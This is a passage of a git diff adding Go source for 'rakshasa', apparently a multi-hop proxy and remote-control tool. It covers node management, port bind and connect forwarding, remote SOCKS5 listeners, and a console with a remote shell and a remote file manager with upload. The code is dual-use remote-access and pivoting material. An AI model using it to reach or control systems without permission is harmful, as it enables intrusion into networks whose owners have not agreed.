n.deleteQuery(id) + return nil, errors.New("time out") + } + return nil, errors.New("error result") +} +func (n *node) Close(reason string) { + if n.conn != nil && n.conn.node.uuid == n.uuid { + n.conn.close <- reason + } + n.Delete(reason) +} +func newNode(m nodeMsg, n *node) *node { + _n := &node{ + uuid: m.UUID, + hostName: m.HostName, + addr: m.Addr, + conn: n.conn, + pongTime: time.Now().Unix(), + mainIp: m.MainIp, + port: m.Port, + goos: m.Goos, + } + + return _n +} +func allNodesDo(f func(*node) (bool, error)) (err error) { + var ok bool + + l := clientLock.RLock() + defer l.RUnlock() + + for _, n := range nodeMap { + if n.uuid != currentNode.uuid { + func() { + + l.RUnlock() + defer clientLock.RLock(l) + ok, err = f(n) + }() + if err != nil { + return err + } + if !ok { + break + } + } + } + return nil +} +func (n *node) ping(id uint32) { + + l := clientLock.Lock() + + defer func() { + l.Unlock() + }() + now := time.Now() + if n.pingTime > n.pongTime { + if common.Debug { + fmt.Println(time.Now().Format("2006-01-02 15:04:05"), n.uuid, "超时") + } + if n.conn != nil && n.conn.node.uuid == n.uuid { + n.conn.Close("超时关闭") + } + n.Delete("超时关闭") + //尝试重连 + + go func() { + if !currentConfig.Limit && len(n.mainIp) > 0 { + for _, addr := range n.mainIp { + _n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port)) + if _n != nil { + return + } + } + } + }() + return + } + n.pingTime = now.Unix() + if n.pongTime == 0 { + n.pongTime = n.pingTime + } + + pingdata := make([]byte, 8) + pingdata[0] = byte(n.pingTime & 255) + pingdata[1] = byte(n.pingTime >> 8 & 255) + pingdata[2] = byte(n.pingTime >> 16 & 255) + pingdata[3] = byte(n.pingTime >> 24 & 255) + pingdata[4] = byte(n.pingTime >> 32 & 255) + pingdata[5] = byte(n.pingTime >> 40 & 255) + pingdata[6] = byte(n.pingTime >> 48 & 255) + pingdata[7] = byte(n.pingTime >> 56 & 255) + msg := &common.Msg{ + From: currentNode.uuid, + To: n.uuid, + CmdOpteion: common.CMD_PING, + CmdId: id, + CmdData: pingdata, + } + n.WriteMsg(msg) + + n.listenMap.Range(func(key, value interface{}) bool { + switch v := value.(type) { + case *serverListen: + msg.CmdOpteion = common.CMD_PING_LISTEN + msg.CmdData = nil + n.WriteMsg(msg) + case *clientListen: + msg.CmdOpteion = common.CMD_PING_LISTEN + msg.CmdData = nil + v.server.WriteMsg(msg) + } + + return true + }) +} +func (n *node) Delete(reason string) { + go func() { + l := clientLock.Lock() + _, ok := nodeMap[n.uuid] + if ok { + delete(nodeMap, n.uuid) + } + l.Unlock() + n.connMap.Range(func(key, value interface{}) bool { + if v, ok := value.(common.Conn); ok { + v.Close(reason) + } + n.connMap.Delete(key) + return true + }) + n.udpConnMap.Range(func(key, value interface{}) bool { + if v, ok := value.(common.Conn); ok { + v.Close(reason) + } + n.udpConnMap.Delete(key) + return true + }) + n.listenMap.Range(func(key, value interface{}) bool { + + if v, ok := value.(*serverListen); ok { + v.listen.Close() + } + n.listenMap.Delete(key) + return true + }) + n.shellMap.Range(func(key, value interface{}) bool { + v := value.(*remoteCmd) + if v.cmd != nil { + v.cmd.Process.Kill() + } + n.shellMap.Delete(key) + return true + }) + }() + +} +func (n *node) broadcastNode() { + //广播新增节点 + nmsg := nodeMsg{ + UUID: n.uuid, + HostName: n.hostName, + Addr: n.addr, + MainIp: n.mainIp, + Port: n.port, + Goos: n.goos, + } + b, _ := json.Marshal(nmsg) + writemsg := &common.Msg{ + From: currentNode.uuid, + To: common.BroadcastUUID.String(), + CmdData: append([]byte{common.CMD_ADD_NODE, 0, 0}, b...), + } + go allNodesDo(func(_n *node) (bool, error) { + + if _n.uuid != currentNode.uuid { + + _n.WriteMsg(writemsg) + } + return true, nil + }) +} + +func GetNodeFromAddrs(dst []string) (n *node, err error) { + if len(dst) == 0 { + return nil, errors.New("参数错误,目标节点为空") + } + if n, err = getNode(dst[0]); err != nil { + return + } + + for i := 1; i < len(dst); i++ { + n, err = n.remoteReg(dst[i]) + if err != nil { + return + } + } + if n == nil { + return nil, fmt.Errorf("无法连接 %v", dst) + } + if n.uuid == currentNode.uuid { + return nil, errors.New("不能连接自己") + } + return +} + +// 储存并返回id +func (n *node) storeQuery(v chan interface{}) (newID uint32) { + + for { + newID = common.GetConnID() + if newID == 0 { + continue + } + if _, ok := n.queryMap.LoadOrStore(newID, v); !ok { + return + } + } +} +func (n *node) loadQuery(id uint32) (v chan interface{}, ok bool) { + value, ok := n.queryMap.Load(id) + if ok { + v = value.(chan interface{}) + } + return v, ok +} +func (n *node) deleteQuery(id uint32) { + n.queryMap.Delete(id) +} +func (n *node) storeConn(v common.Conn) (newID uint32) { + + for { + newID = common.GetConnID() + if newID == 0 { + continue + } + if _, ok := n.connMap.LoadOrStore(newID, v); !ok { + return + } + } +} +func (n *node) writeGetNodeResult(id uint32) { + l := clientLock.RLock() + + defer l.RUnlock() + + var s []nodeMsg + + for _, _n := range nodeMap { + if _n.uuid != currentNode.uuid { + s = append(s, nodeMsg{ + UUID: _n.uuid, + HostName: _n.hostName, + Addr: _n.addr, + MainIp: _n.mainIp, + Port: _n.port, + Goos: _n.goos, + }) + } + + } + + b, _ := json.Marshal(s) + n.Write(common.CMD_GET_NODE_RESULT, id, b) +} diff --git a/server/order.go b/server/order.go new file mode 100644 index 0000000..80ac67c --- /dev/null +++ b/server/order.go @@ -0,0 +1,228 @@ +package server + +import "strings" + +func orderNode(list []*node) { + f := func(a, b *node) bool { + if strings.Contains(a.addr, "(localhost)") { + return true + } else if strings.Contains(b.addr, "(localhost)") { + return false + } + return a.uuid < b.uuid + } + max_len := len(list) + tmp := make([]*node, max_len) + for i := 0; i < max_len-max_len&1; i += 2 { + if f(list[i+1], list[i]) { + list[i], list[i+1] = list[i+1], list[i] + } + + } + for i := 0; i < max_len-max_len&3; i += 4 { + if f(list[i+2], list[i]) { + list[i], list[i+2] = list[i+2], list[i] + } + if f(list[i+3], list[i+1]) { + list[i+1], list[i+3] = list[i+3], list[i+1] + } + if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + + } + if max_len&3 == 3 { + i := max_len - 3 + if f(list[i+2], list[i]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + list[i], list[i+1] = list[i+1], list[i] + } else if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + } + var step, l, max, r int + step = 4 + for step < max_len { + step <<= 1 + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(list[r], list[l])) { + tmp[index] = list[r] + r++ + } else { + tmp[index] = list[l] + l++ + } + } + } + if step < max_len { + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(tmp[r], tmp[l])) { + list[index] = tmp[r] + r++ + } else { + list[index] = tmp[l] + l++ + } + } + } + } else { + copy(list, tmp) + } + } +} +func orderClientListen(list []*clientListen) { + f := func(a, b *clientListen) bool { + return a.id < b.id + } + max_len := len(list) + tmp := make([]*clientListen, max_len) + for i := 0; i < max_len-max_len&1; i += 2 { + if f(list[i+1], list[i]) { + list[i], list[i+1] = list[i+1], list[i] + } + + } + for i := 0; i < max_len-max_len&3; i += 4 { + if f(list[i+2], list[i]) { + list[i], list[i+2] = list[i+2], list[i] + } + if f(list[i+3], list[i+1]) { + list[i+1], list[i+3] = list[i+3], list[i+1] + } + if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + + } + if max_len&3 == 3 { + i := max_len - 3 + if f(list[i+2], list[i]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + list[i], list[i+1] = list[i+1], list[i] + } else if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + } + var step, l, max, r int + step = 4 + for step < max_len { + step <<= 1 + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(list[r], list[l])) { + tmp[index] = list[r] + r++ + } else { + tmp[index] = list[l] + l++ + } + } + } + if step < max_len { + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(tmp[r], tmp[l])) { + list[index] = tmp[r] + r++ + } else { + list[index] = tmp[l] + l++ + } + } + } + } else { + copy(list, tmp) + } + } +} +func orderHttpProxy(list []*httpProxyClient) { + f := func(a, b *httpProxyClient) bool { + return a.id < b.id + } + max_len := len(list) + tmp := make([]*httpProxyClient, max_len) + for i := 0; i < max_len-max_len&1; i += 2 { + if f(list[i+1], list[i]) { + list[i], list[i+1] = list[i+1], list[i] + } + + } + for i := 0; i < max_len-max_len&3; i += 4 { + if f(list[i+2], list[i]) { + list[i], list[i+2] = list[i+2], list[i] + } + if f(list[i+3], list[i+1]) { + list[i+1], list[i+3] = list[i+3], list[i+1] + } + if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + + } + if max_len&3 == 3 { + i := max_len - 3 + if f(list[i+2], list[i]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + list[i], list[i+1] = list[i+1], list[i] + } else if f(list[i+2], list[i+1]) { + list[i+1], list[i+2] = list[i+2], list[i+1] + } + } + var step, l, max, r int + step = 4 + for step < max_len { + step <<= 1 + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(list[r], list[l])) { + tmp[index] = list[r] + r++ + } else { + tmp[index] = list[l] + l++ + } + } + } + if step < max_len { + for i := 0; i < max_len; i += step { + l, r, max = i, i+step/2, i+step + if max > max_len { + max = max_len + } + for index := i; index < max; index++ { + if l == step/2+i || (r < max && f(tmp[r], tmp[l])) { + list[index] = tmp[r] + r++ + } else { + list[index] = tmp[l] + l++ + } + } + } + } else { + copy(list, tmp) + } + } +} diff --git a/server/raw_tcp_client.go b/server/raw_tcp_client.go new file mode 100644 index 0000000..12334e1 --- /dev/null +++ b/server/raw_tcp_client.go @@ -0,0 +1,325 @@ +package server + +import ( + "errors" + "fmt" + "hash/crc32" + "net" + "rakshasa/common" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/luyu6056/ishell" +) + +var ( +// clientListenMap = make(map[uint32]*remoteListen) +// connectMap = make(map[uint32]*rawConnect) +) + +type clientListen struct { + id uint32 + localAddr string + remoteAddr string + server *node + typ string + openOption byte + openMsg []byte //掉线重连会用到 + connMap sync.Map //clientListen关闭的时候关掉这里的id + listen net.Listener + result chan interface{} +} + +func StartRawBind(str string, dst []string) error { + n, err := GetNodeFromAddrs(dst) + if err != nil { + + return err + } + + addrs, err := common.ResolveTCPAddr(str) + if err != nil { + + return err + } + if len(addrs) != 2 { + return errors.New("参数错误,格式为ip:port,remote_ip:remote_port") + } + + l := &clientListen{ + id: common.GetID(), + localAddr: addrs[0], + remoteAddr: addrs[1], + server: n, + typ: "bind", + result: make(chan interface{}), + openOption: common.CMD_LISTEN, + } + l.openMsg = []byte(addrs[1]) + currentNode.listenMap.Store(l.id, l) + n.Write(l.openOption, l.id, l.openMsg) + select { + case res := <-l.result: + + if err, ok := res.(error); ok { + l.Close(remoteClose) + currentNode.listenMap.Delete(l.id) + return err + } + case <-time.After(common.CMD_TIMEOUT): + l.Close(remoteClose) + currentNode.listenMap.Delete(l.id) + return fmt.Errorf("listen %s fail time out", addrs[1]) + + } + fmt.Println("bind 启动成功") + //l := clientLock.Lock() + + //clientListenMap[b.id] = b + //l.Unlock() + return nil +} +func StartRawConnect(str string, n *node) error { + addrs, err := common.ResolveTCPAddr(str) + if len(addrs) != 2 || err != nil { + return errors.New("-connect参数错误,格式为ip:port,remote_ip:remote_port") + } + + addr1, _ := net.ResolveTCPAddr("tcp", addrs[1]) + listen, err := net.Listen("tcp", addrs[0]) + if err != nil { + return errors.New("监听本地端口" + addrs[0] + "失败 " + err.Error()) + } + + l := &clientListen{ + id: common.GetID(), + localAddr: addrs[0], + remoteAddr: addrs[1], + listen: listen, + server: n, + typ: "connect", + } + currentNode.listenMap.Store(l.id, l) + + go func() { + for { + conn, err := listen.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + continue + } + + s := &clientConnect{ + conn: conn, + server: n, + } + s.OnOpened() + s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port)) + go rawHandleLocal(s) + + } + }() + return nil +} +func (l *clientListen) Close(reason string) { + l.connMap.Range(func(key, value interface{}) bool { + value.(*clientConnect).Close(reason) + l.connMap.Delete(key) + return true + }) + l.server.listenMap.Delete(l.id) + if l.listen != nil { + l.listen.Close() + } +} + +func rawHandleLocal(s *clientConnect) { + buf := make([]byte, common.MAX_PLAINTEXT) + + for { + n, err := s.conn.Read(buf[8:]) + if err != nil { + + s.Close(err.Error()) + return + } + + var new_size int64 + if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口 + atomic.AddInt64(&s.windowsSize, new_size) + + } else { + new_size = 0 + } + buf[0] = byte(new_size) + buf[1] = byte(new_size >> 8) + buf[2] = byte(new_size >> 16) + buf[3] = byte(new_size >> 24) + buf[4] = byte(new_size >> 32) + buf[5] = byte(new_size >> 40) + buf[6] = byte(new_size >> 48) + buf[7] = byte(new_size >> 56) + if common.Debug { + fmt.Println("发送", crc32.ChecksumIEEE(buf[8:8+n]), n) + } + data := make([]byte, 8+n) + copy(data, buf) + s.server.Write(common.CMD_CONN_MSG, s.id, buf) + } +} +func init() { + bindshell := cliInit() + bindshell.SetPrompt("rakshasa\\bind>") + bindshell.AddCmd(&ishell.Cmd{ + Name: "list", + Help: "列出当前连接的ID和其他信息", + Func: func(c *ishell.Context) { + var list []*clientListen + currentNode.listenMap.Range(func(key, value interface{}) bool { + if v, ok := value.(*clientListen); ok { + if v.typ == "bind" { + list = append(list, v) + } + } + return true + }) + orderClientListen(list) + fmt.Println("当前连接数量:", len(list)) + for _, v := range list { + fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid) + } + }, + }) + bindshell.AddCmd(&ishell.Cmd{ + Name: "new-bind", + Help: "新建一个本地bind,使用方法 new-bind ip:port,remote_ip:remote_port 目标服务器 如 new-bind 192.168.1.180:8808,0.0.0.0:8808 192.168.1.2:1081", + Func: func(c *ishell.Context) { + if len(c.Args) != 2 { + c.Println("参数错误") + return + } + + if err := StartRawBind(c.Args[0], strings.Split(c.Args[1], ",")); err != nil { + c.Println("启动bind失败", err) + + } + }, + }) + bindshell.AddCmd(&ishell.Cmd{ + Name: "close", + Help: "关闭一个bind连接,使用方法 close ID", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,例子 close 1") + return + } + id, _ := strconv.Atoi(c.Args[0]) + var l *clientListen + if value, ok := currentNode.listenMap.Load(uint32(id)); ok { + if v, ok := value.(*clientListen); ok && v.typ == "bind" { + l = v + } + + } + if l == nil { + c.Println("没有找到ID为", id, "的连接") + } else { + l.Close("命令行关闭") + l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil) + currentNode.listenMap.Delete(uint32(id)) + + } + }, + }) + + rootCli.AddCmd(&ishell.Cmd{ + Name: "bind", + Help: "进入bind功能", + Func: func(c *ishell.Context) { + bindshell.Run() + }, + }) + connectshell := ishell.New() + connectshell.SetPrompt("rakshasa\\connect>") + connectshell.AddCmd(&ishell.Cmd{ + Name: "list", + Help: "列出当前连接的ID和其他信息", + Func: func(c *ishell.Context) { + var list []*clientListen + currentNode.listenMap.Range(func(key, value interface{}) bool { + if v, ok := value.(*clientListen); ok { + if v.typ == "connect" { + list = append(list, v) + } + } + return true + }) + orderClientListen(list) + fmt.Println("当前连接数量:", len(list)) + for _, v := range list { + fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid) + } + + }, + }) + connectshell.AddCmd(&ishell.Cmd{ + Name: "new-connect", + Help: "新建一个本地connect,使用方法 new-connect ip:port,remote_ip:remote_port 目标服务器 如 new-connect 0.0.0.0:88,192.168.1.180:8808 192.168.1.2:1081", + Func: func(c *ishell.Context) { + if len(c.Args) != 2 { + c.Println("参数错误") + return + } + + n, err := GetNodeFromAddrs(strings.Split(c.Args[1], ",")) + if err != nil { + c.Println("connect连接", c.Args[1], "失败", err) + return + } + if err = StartRawConnect(c.Args[0], n); err != nil { + c.Println(err) + return + } + c.Println("connect连接", c.Args[1], "成功") + }, + }) + connectshell.AddCmd(&ishell.Cmd{ + Name: "close", + Help: "关闭一个connect连接,使用方法 close ID", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,例子 close 1") + return + } + + id, _ := strconv.Atoi(c.Args[0]) + var l *clientListen + if value, ok := currentNode.listenMap.Load(uint32(id)); ok { + if v, ok := value.(*clientListen); ok && v.typ == "connect" { + l = v + } + } + if l == nil { + c.Println("没有找到ID为", id, "的连接") + } else { + l.Close("命令行关闭") + l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil) + currentNode.listenMap.Delete(uint32(id)) + + } + }, + }) + + rootCli.AddCmd(&ishell.Cmd{ + Name: "connect", + Help: "进入connect功能", + Func: func(c *ishell.Context) { + connectshell.Run() + }, + }) +} diff --git a/server/raw_tcp_server.go b/server/raw_tcp_server.go new file mode 100644 index 0000000..a957bc1 --- /dev/null +++ b/server/raw_tcp_server.go @@ -0,0 +1,64 @@ +package server + +import ( + "bytes" + "net" + "rakshasa/common" + "sync/atomic" +) + +func (l *serverListen) Lisen() { + + for { + c, err := l.listen.Accept() + if err != nil { + if err.(*net.OpError).Err == net.ErrClosed { + return + } + + continue + } + + conn := &serverConnect{} + conn.conn = c + conn.address = c.RemoteAddr().String() + conn.node = l.node + conn.write = make(chan *bytes.Buffer, 64) + + if l.isSocks5 { + conn.id = l.id + l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay) + go conn.handTcpReceive() + return + } + conn.id = l.node.storeConn(conn) + + b := make([]byte, 4) + b[0] = byte(conn.id) + b[1] = byte(conn.id >> 8) + b[2] = byte(conn.id >> 16) + b[3] = byte(conn.id >> 24) + conn.node.Write(common.CMD_CONNECT_BYID, l.id, b) + l.connMap.Store(conn.id, conn) + go conn.handTcpReceive() + + } +} +func (l *serverListen) Close(reason string) { + if atomic.CompareAndSwapInt32(&l.close, 0, 1) { + if l.listen != nil { + l.listen.Close() + } + l.connMap.Range(func(key, value interface{}) bool { + if reason != remoteClose { + l.node.Write(common.CMD_DELETE_CONNID, value.(*serverConnect).id, nil) + } + l.connMap.Delete(key) + return true + }) + if reason != remoteClose { + + l.node.Write(common.CMD_DELETE_LISTEN, l.id, nil) + } + } +} diff --git a/server/remote_socks5.go b/server/remote_socks5.go new file mode 100644 index 0000000..231db2f --- /dev/null +++ b/server/remote_socks5.go @@ -0,0 +1,128 @@ +package server + +import ( + "errors" + "fmt" + "rakshasa/common" + "strconv" + "strings" + "time" + + "github.com/luyu6056/ishell" +) + +func StartRemoteSocks5(cfg *common.Addr, n *node) error { + + l := &clientListen{ + id: common.GetID(), + localAddr: "", + remoteAddr: cfg.Addr(), + server: n, + typ: "socks5", + result: make(chan interface{}), + } + l.openOption = common.CMD_REMOTE_SOCKS5 + l.openMsg = []byte(cfg.String()) + n.Write(l.openOption, l.id, l.openMsg) + currentNode.listenMap.Store(l.id, l) + select { + case res := <-l.result: + if err, ok := res.(error); ok { + l.Close(remoteClose) + return err + } + case <-time.After(common.CMD_TIMEOUT): + l.Close(remoteClose) + return errors.New("time out") + } + + return nil +} +func init() { + remoteSocks5shell := cliInit() + remoteSocks5shell.SetPrompt("rakshasa\\remotesocks5>") + remoteSocks5shell.AddCmd(&ishell.Cmd{ + Name: "list", + Help: "列出当前连接的ID和其他信息", + Func: func(c *ishell.Context) { + + var list []*clientListen + currentNode.listenMap.Range(func(key, value interface{}) bool { + if v, ok := value.(*clientListen); ok { + if v.typ == "socks5" { + list = append(list, v) + } + } + return true + }) + orderClientListen(list) + fmt.Println("当前连接数量:", len(list)) + for _, v := range list { + fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid) + } + }, + }) + + remoteSocks5shell.AddCmd(&ishell.Cmd{ + Name: "new-remotesocks5", + Help: "新建一个remotesocks5连接到本节点,使用方法 new-remotesocks5 配置字串符 目标服务器 如 new-remotesocks5 admin:123456@0.0.0.0:1080 127.0.0.1:1081", + Func: func(c *ishell.Context) { + if len(c.Args) != 2 { + c.Println("参数错误") + return + } + + n, err := GetNodeFromAddrs(strings.Split(c.Args[1], ",")) + if err != nil { + c.Println("无法连接 ", c.Args[1], err) + return + } + cfg, err := common.ParseAddr(c.Args[0]) + if err != nil { + c.Println(err) + return + } + if err = StartRemoteSocks5(cfg, n); err != nil { + c.Println("连接", c.Args[1], "失败", err) + return + } + c.Println("节点", c.Args[1], "配置信息,", c.Args[0], ",启动socks5 到 本节点 成功") + }, + }) + remoteSocks5shell.AddCmd(&ishell.Cmd{ + Name: "close", + Help: "关闭一个remotesocks5连接,使用方法 close ID", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,例子 close 1") + return + } + id, _ := strconv.Atoi(c.Args[0]) + + var l *clientListen + if value, ok := currentNode.listenMap.Load(uint32(id)); ok { + if v, ok := value.(*clientListen); ok && v.typ == "socks5" { + l = v + } + + } + if l == nil { + c.Println("没有找到ID为", id, "的连接") + } else { + l.Close("命令行关闭") + l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil) + currentNode.listenMap.Delete(uint32(id)) + + } + }, + }) + rootCli.AddCmd(&ishell.Cmd{ + Name: "remotesocks5", + Help: "进入remotesocks5功能", + Func: func(c *ishell.Context) { + + remoteSocks5shell.Run() + + }, + }) +} diff --git a/server/shell.go b/server/shell.go new file mode 100644 index 0000000..7cb60ed --- /dev/null +++ b/server/shell.go @@ -0,0 +1,837 @@ +package server + +/* + *高级shell功能 + *node节点管理、remoteShell远程shell,config配置管理 + */ +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "io/ioutil" + "os" + "os/exec" + "rakshasa/aes" + "rakshasa/cert" + "rakshasa/common" + "runtime" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/abiosoft/readline" + "github.com/creack/pty" + "github.com/dlclark/regexp2" + "github.com/luyu6056/ishell" + "golang.org/x/text/encoding/simplifiedchinese" + "golang.org/x/text/transform" +) + +var ( + shellMapLock sync.Mutex +) + +type StartCmdParam struct { + Param string + Size *pty.Winsize +} +type remoteCmd struct { + cmdStatus int32 + cmd *exec.Cmd + id uint32 + stdin io.WriteCloser + inChan chan []byte + translate func(in []byte) ([]byte, error) + ping, pong int64 +} + +func init() { + + configShell := cliInit() + configShell.SetPrompt("rakshasa\\config>") + configShell.AddCmd(&ishell.Cmd{ + Name: "info", + Help: "打印当前配置", + Func: func(c *ishell.Context) { + c.Println("当前节点", currentNode.uuid) + c.Println("上级节点地址", currentConfig.DstNode) + c.Println("通讯密码", currentConfig.Password) + c.Println("监听端口", currentConfig.Port) + c.Println("监听IP", currentConfig.ListenIp) + c.Println("禁止额外连接", currentConfig.Limit) + c.Println("配置文件名", currentConfig.FileName) + if currentConfig.FileSave { + c.Println("当前配置:已写入文件") + } else { + c.Println("当前配置:未写入文件") + } + }, + }) + configShell.AddCmd(&ishell.Cmd{ + Name: "save", + Help: "保存文件", + Func: func(c *ishell.Context) { + if err := ConfigSave(); err == nil { + c.Println("写入成功") + } else { + c.Println("保存失败", err.Error()) + } + }, + }) + configShell.AddCmd(&ishell.Cmd{ + Name: "d", + Help: "修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883") + return + } + dstNode, err := common.ResolveTCPAddr(c.Args[0]) + if err != nil { + c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883") + return + } + currentConfig.DstNode = dstNode + currentConfig.FileSave = false + }, + }) + configShell.AddCmd(&ishell.Cmd{ + Name: "password", + Help: "修改通讯密码,立即生效", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,格式为 password \"123456\"") + return + } + c.Println(c.Args) + currentConfig.Password = c.Args[0] + currentConfig.FileSave = false + aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PublicKey[:16])) + }, + }) + configShell.AddCmd(&ishell.Cmd{ + Name: "port", + Help: "修改监听端口,立即生效", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误,格式为 port 8883") + return + } + port, _ := strconv.Atoi(c.Args[0]) + if port <= 0 || port > 65535 { + c.Println("参数错误,端口范围是1-65535") + return + } + c.Println("正在关闭server监听") + if currentNode.listen != nil { + currentNode.listen.Close() + currentNode.listen = nil + } + currentConfig.Port = port + currentNode.port = port + currentConfig.FileSave = false + currentNode.broadcastNode() + StartServer(port) + }, + }) + + configShell.AddCmd(&ishell.Cmd{ + Name: "ip", + Help: "修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接, 多个ip以,隔开", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误") + return + } + + currentConfig.ListenIp = strings.Split(c.Args[0], ",") + currentNode.mainIp = currentConfig.ListenIp + currentConfig.FileSave = false + currentNode.broadcastNode() + }, + }) + configShell.AddCmd(&ishell.Cmd{ + Name: "limit", + Help: "修改本节点Limit设置,使用方法 limit true", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误") + return + } + currentConfig.Limit = c.Args[0] == "true" + currentConfig.FileSave = false + }, + }) + configShell.AddCmd(&ishell.Cmd{ + Name: "f", + Help: "修改配置文件名,使用方法 f config.yaml", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误") + return + } + currentConfig.FileName = c.Args[0] + currentConfig.FileSave = false + }, + }) + + rootCli.AddCmd(&ishell.Cmd{ + Name: "config", + Help: "配置管理", + Func: func(c *ishell.Context) { + configShell.Run() + }, + }) + remoteShell := cliInit() + + remoteShell.SetPrompt("rakshasa\\remoteshell>") + + fileShell := ishell.New() + remoteShell.AddCmd(&ishell.Cmd{ + Name: "file", + Help: "连到节点进行文件管理,参数为id或者uuid", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误") + return + } + + workN, _ := getNode(c.Args[0]) + if workN == nil { + c.Println("无法连接节点", c.Args[0]) + return + } + + if workN != nil { + fileShell.Set("node", workN) + result := make(chan interface{}, 1) + id := workN.storeQuery(result) + workN.Write(common.CMD_PWD, id, nil) + select { + case pwd := <-result: + workN.deleteQuery(id) + pwd = strings.ReplaceAll(pwd.(string), "\\", "/") + fileShell.Set("pwd", pwd) + fileShell.SetPrompt(workN.uuid + " " + pwd.(string) + ">") + fileShell.Run() + case <-time.After(common.CMD_TIMEOUT): + workN.deleteQuery(id) + c.Println("连接", c.Args[0], "超时") + } + + } + + }, + }) + fileShell.AddCmd(&ishell.Cmd{ + Name: "dir", + Help: "打印当前目录文件", + Func: func(c *ishell.Context) { + pwd := fileShell.Get("pwd") + + n := c.Get("node").(*node) + resChan := make(chan interface{}, 1) + id := n.storeQuery(resChan) + n.Write(common.CMD_DIR, id, []byte(pwd.(string))) + select { + case res := <-resChan: + n.deleteQuery(id) + c.Println(res) + case <-time.After(common.CMD_TIMEOUT): + n.deleteQuery(id) + c.Println("dir time out") + } + }, + }) + fileShell.AddCmd(&ishell.Cmd{ + Name: "cd", + Help: "切换工作目录", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 { + c.Println("参数错误") + return + } + dir := c.Args[0] + pwd := fileShell.Get("pwd").(string) + n := c.Get("node").(*node) + + if strings.Contains(dir, ":/") || dir[0] == '/' || dir == "~" { + pwd = dir + } else { + pwd += "/" + dir + pwd = strings.TrimRight(realpath(pwd), "/") + } + + resChan := make(chan interface{}, 1) + id := n.storeQuery(resChan) + n.Write(common.CMD_CD, id, []byte(pwd)) + + select { + case res := <-resChan: + n.deleteQuery(id) + if err, ok := res.(error); ok { + c.Println(err.Error()) + } else { + pwd = res.(string) + fileShell.Set("pwd", pwd) + c.SetPrompt(n.uuid + " " + pwd + ">") + } + + case <-time.After(common.CMD_TIMEOUT): + n.deleteQuery(id) + c.Println("dir time out") + } + }, + }) + fileShell.AddCmd(&ishell.Cmd{ + Name: "upload", + Help: "上传文件 ,upload 本地文件 远程目录(为空传到工作目录)", + Func: func(c *ishell.Context) { + if len(c.Args) != 1 && len(c.Args) != 2 { + c.Println("参数错误") + return + } + s, err := os.Stat(c.Args[0]) + if err != nil { + c.Println("打开本地文件", c.Args[0], "错误 ", err) + return + } + f, err := os.Open(c.Args[0]) + if err != nil { + c.Println("打开本地文件", c.Args[0], "错误 ", err) + return + } + defer f.Close() + pwd := fileShell.Get("pwd").(string) + "/" + n := c.Get("node").(*node) + + if len(c.Args) == 2 { + pwd = c.Args[1] + } + pwd = strings.ReplaceAll(pwd, "\\", "/") + c.Args[0] = strings.ReplaceAll(c.Args[0], "\\", "/") + i := strings.LastIndex(c.Args[0], "/") + if i == -1 { + i = 0 + } + + if pwd[len(pwd)-1] == '/' { + pwd += c.Args[0][i:] + } + i = strings.LastIndex(pwd, "/") + if i == -1 { 